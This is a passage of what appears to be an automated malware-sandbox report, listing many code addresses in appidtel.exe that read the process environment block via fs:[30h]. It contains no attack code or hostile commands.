Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B2C0 mov eax, dword ptr fs:[00000030h]	11_2_0342B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B2C0 mov eax, dword ptr fs:[00000030h]	11_2_0342B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B2C0 mov eax, dword ptr fs:[00000030h]	11_2_0342B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0340A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0340A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0340A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0340A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A2C3 mov eax, dword ptr fs:[00000030h]	11_2_0340A2C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034092C5 mov eax, dword ptr fs:[00000030h]	11_2_034092C5
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034092C5 mov eax, dword ptr fs:[00000030h]	11_2_034092C5
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342F2D0 mov eax, dword ptr fs:[00000030h]	11_2_0342F2D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342F2D0 mov eax, dword ptr fs:[00000030h]	11_2_0342F2D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034102E1 mov eax, dword ptr fs:[00000030h]	11_2_034102E1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034102E1 mov eax, dword ptr fs:[00000030h]	11_2_034102E1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034102E1 mov eax, dword ptr fs:[00000030h]	11_2_034102E1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED mov eax, dword ptr fs:[00000030h]	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D52E2 mov eax, dword ptr fs:[00000030h]	11_2_034D52E2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BF2F8 mov eax, dword ptr fs:[00000030h]	11_2_034BF2F8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F92FF mov eax, dword ptr fs:[00000030h]	11_2_033F92FF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343E284 mov eax, dword ptr fs:[00000030h]	11_2_0343E284
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343E284 mov eax, dword ptr fs:[00000030h]	11_2_0343E284
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03480283 mov eax, dword ptr fs:[00000030h]	11_2_03480283
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03480283 mov eax, dword ptr fs:[00000030h]	11_2_03480283
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03480283 mov eax, dword ptr fs:[00000030h]	11_2_03480283
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D5283 mov eax, dword ptr fs:[00000030h]	11_2_034D5283
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343329E mov eax, dword ptr fs:[00000030h]	11_2_0343329E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343329E mov eax, dword ptr fs:[00000030h]	11_2_0343329E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034102A0 mov eax, dword ptr fs:[00000030h]	11_2_034102A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034102A0 mov eax, dword ptr fs:[00000030h]	11_2_034102A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034152A0 mov eax, dword ptr fs:[00000030h]	11_2_034152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034152A0 mov eax, dword ptr fs:[00000030h]	11_2_034152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034152A0 mov eax, dword ptr fs:[00000030h]	11_2_034152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034152A0 mov eax, dword ptr fs:[00000030h]	11_2_034152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034972A0 mov eax, dword ptr fs:[00000030h]	11_2_034972A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034972A0 mov eax, dword ptr fs:[00000030h]	11_2_034972A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034962A0 mov eax, dword ptr fs:[00000030h]	11_2_034962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034962A0 mov ecx, dword ptr fs:[00000030h]	11_2_034962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034962A0 mov eax, dword ptr fs:[00000030h]	11_2_034962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034962A0 mov eax, dword ptr fs:[00000030h]	11_2_034962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034962A0 mov eax, dword ptr fs:[00000030h]	11_2_034962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034962A0 mov eax, dword ptr fs:[00000030h]	11_2_034962A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C92A6 mov eax, dword ptr fs:[00000030h]	11_2_034C92A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C92A6 mov eax, dword ptr fs:[00000030h]	11_2_034C92A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C92A6 mov eax, dword ptr fs:[00000030h]	11_2_034C92A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C92A6 mov eax, dword ptr fs:[00000030h]	11_2_034C92A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB2D3 mov eax, dword ptr fs:[00000030h]	11_2_033FB2D3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB2D3 mov eax, dword ptr fs:[00000030h]	11_2_033FB2D3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB2D3 mov eax, dword ptr fs:[00000030h]	11_2_033FB2D3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034892BC mov eax, dword ptr fs:[00000030h]	11_2_034892BC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034892BC mov eax, dword ptr fs:[00000030h]	11_2_034892BC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034892BC mov ecx, dword ptr fs:[00000030h]	11_2_034892BC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034892BC mov ecx, dword ptr fs:[00000030h]	11_2_034892BC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB136 mov eax, dword ptr fs:[00000030h]	11_2_033FB136
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB136 mov eax, dword ptr fs:[00000030h]	11_2_033FB136
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB136 mov eax, dword ptr fs:[00000030h]	11_2_033FB136
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FB136 mov eax, dword ptr fs:[00000030h]	11_2_033FB136
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03494144 mov eax, dword ptr fs:[00000030h]	11_2_03494144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03494144 mov eax, dword ptr fs:[00000030h]	11_2_03494144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03494144 mov ecx, dword ptr fs:[00000030h]	11_2_03494144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03494144 mov eax, dword ptr fs:[00000030h]	11_2_03494144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03494144 mov eax, dword ptr fs:[00000030h]	11_2_03494144
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03407152 mov eax, dword ptr fs:[00000030h]	11_2_03407152
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03406154 mov eax, dword ptr fs:[00000030h]	11_2_03406154
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03406154 mov eax, dword ptr fs:[00000030h]	11_2_03406154
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D5152 mov eax, dword ptr fs:[00000030h]	11_2_034D5152
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03499179 mov eax, dword ptr fs:[00000030h]	11_2_03499179
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172 mov eax, dword ptr fs:[00000030h]	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034AA118 mov ecx, dword ptr fs:[00000030h]	11_2_034AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034AA118 mov eax, dword ptr fs:[00000030h]	11_2_034AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034AA118 mov eax, dword ptr fs:[00000030h]	11_2_034AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034AA118 mov eax, dword ptr fs:[00000030h]	11_2_034AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C0115 mov eax, dword ptr fs:[00000030h]	11_2_034C0115
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03430124 mov eax, dword ptr fs:[00000030h]	11_2_03430124
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FC156 mov eax, dword ptr fs:[00000030h]	11_2_033FC156
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03401131 mov eax, dword ptr fs:[00000030h]	11_2_03401131
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03401131 mov eax, dword ptr fs:[00000030h]	11_2_03401131
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9148 mov eax, dword ptr fs:[00000030h]	11_2_033F9148
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9148 mov eax, dword ptr fs:[00000030h]	11_2_033F9148
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9148 mov eax, dword ptr fs:[00000030h]	11_2_033F9148
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9148 mov eax, dword ptr fs:[00000030h]	11_2_033F9148
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D51CB mov eax, dword ptr fs:[00000030h]	11_2_034D51CB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C61C3 mov eax, dword ptr fs:[00000030h]	11_2_034C61C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C61C3 mov eax, dword ptr fs:[00000030h]	11_2_034C61C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343D1D0 mov eax, dword ptr fs:[00000030h]	11_2_0343D1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343D1D0 mov ecx, dword ptr fs:[00000030h]	11_2_0343D1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E1D0 mov eax, dword ptr fs:[00000030h]	11_2_0347E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E1D0 mov eax, dword ptr fs:[00000030h]	11_2_0347E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E1D0 mov ecx, dword ptr fs:[00000030h]	11_2_0347E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E1D0 mov eax, dword ptr fs:[00000030h]	11_2_0347E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347E1D0 mov eax, dword ptr fs:[00000030h]	11_2_0347E1D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FA197 mov eax, dword ptr fs:[00000030h]	11_2_033FA197
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FA197 mov eax, dword ptr fs:[00000030h]	11_2_033FA197
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FA197 mov eax, dword ptr fs:[00000030h]	11_2_033FA197
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D61E5 mov eax, dword ptr fs:[00000030h]	11_2_034D61E5
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034251EF mov eax, dword ptr fs:[00000030h]	11_2_034251EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034051ED mov eax, dword ptr fs:[00000030h]	11_2_034051ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034301F8 mov eax, dword ptr fs:[00000030h]	11_2_034301F8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03440185 mov eax, dword ptr fs:[00000030h]	11_2_03440185
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BC188 mov eax, dword ptr fs:[00000030h]	11_2_034BC188
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BC188 mov eax, dword ptr fs:[00000030h]	11_2_034BC188
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03457190 mov eax, dword ptr fs:[00000030h]	11_2_03457190
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348019F mov eax, dword ptr fs:[00000030h]	11_2_0348019F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348019F mov eax, dword ptr fs:[00000030h]	11_2_0348019F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348019F mov eax, dword ptr fs:[00000030h]	11_2_0348019F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348019F mov eax, dword ptr fs:[00000030h]	11_2_0348019F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B11A4 mov eax, dword ptr fs:[00000030h]	11_2_034B11A4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B11A4 mov eax, dword ptr fs:[00000030h]	11_2_034B11A4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B11A4 mov eax, dword ptr fs:[00000030h]	11_2_034B11A4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B11A4 mov eax, dword ptr fs:[00000030h]	11_2_034B11A4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341B1B0 mov eax, dword ptr fs:[00000030h]	11_2_0341B1B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03402050 mov eax, dword ptr fs:[00000030h]	11_2_03402050
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B052 mov eax, dword ptr fs:[00000030h]	11_2_0342B052
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034A705E mov ebx, dword ptr fs:[00000030h]	11_2_034A705E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034A705E mov eax, dword ptr fs:[00000030h]	11_2_034A705E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FA020 mov eax, dword ptr fs:[00000030h]	11_2_033FA020
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FC020 mov eax, dword ptr fs:[00000030h]	11_2_033FC020
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348106E mov eax, dword ptr fs:[00000030h]	11_2_0348106E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D5060 mov eax, dword ptr fs:[00000030h]	11_2_034D5060
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov ecx, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411070 mov eax, dword ptr fs:[00000030h]	11_2_03411070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342C073 mov eax, dword ptr fs:[00000030h]	11_2_0342C073
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347D070 mov ecx, dword ptr fs:[00000030h]	11_2_0347D070
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341E016 mov eax, dword ptr fs:[00000030h]	11_2_0341E016
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341E016 mov eax, dword ptr fs:[00000030h]	11_2_0341E016
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341E016 mov eax, dword ptr fs:[00000030h]	11_2_0341E016
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341E016 mov eax, dword ptr fs:[00000030h]	11_2_0341E016
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C903E mov eax, dword ptr fs:[00000030h]	11_2_034C903E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C903E mov eax, dword ptr fs:[00000030h]	11_2_034C903E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C903E mov eax, dword ptr fs:[00000030h]	11_2_034C903E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C903E mov eax, dword ptr fs:[00000030h]	11_2_034C903E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov ecx, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov ecx, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov ecx, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov ecx, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0 mov eax, dword ptr fs:[00000030h]	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347D0C0 mov eax, dword ptr fs:[00000030h]	11_2_0347D0C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347D0C0 mov eax, dword ptr fs:[00000030h]	11_2_0347D0C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D50D9 mov eax, dword ptr fs:[00000030h]	11_2_034D50D9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034820DE mov eax, dword ptr fs:[00000030h]	11_2_034820DE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034290DB mov eax, dword ptr fs:[00000030h]	11_2_034290DB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034250E4 mov eax, dword ptr fs:[00000030h]	11_2_034250E4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034250E4 mov ecx, dword ptr fs:[00000030h]	11_2_034250E4
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034080E9 mov eax, dword ptr fs:[00000030h]	11_2_034080E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FD08D mov eax, dword ptr fs:[00000030h]	11_2_033FD08D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034420F0 mov ecx, dword ptr fs:[00000030h]	11_2_034420F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340208A mov eax, dword ptr fs:[00000030h]	11_2_0340208A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FC0F0 mov eax, dword ptr fs:[00000030h]	11_2_033FC0F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342D090 mov eax, dword ptr fs:[00000030h]	11_2_0342D090
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342D090 mov eax, dword ptr fs:[00000030h]	11_2_0342D090
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03405096 mov eax, dword ptr fs:[00000030h]	11_2_03405096
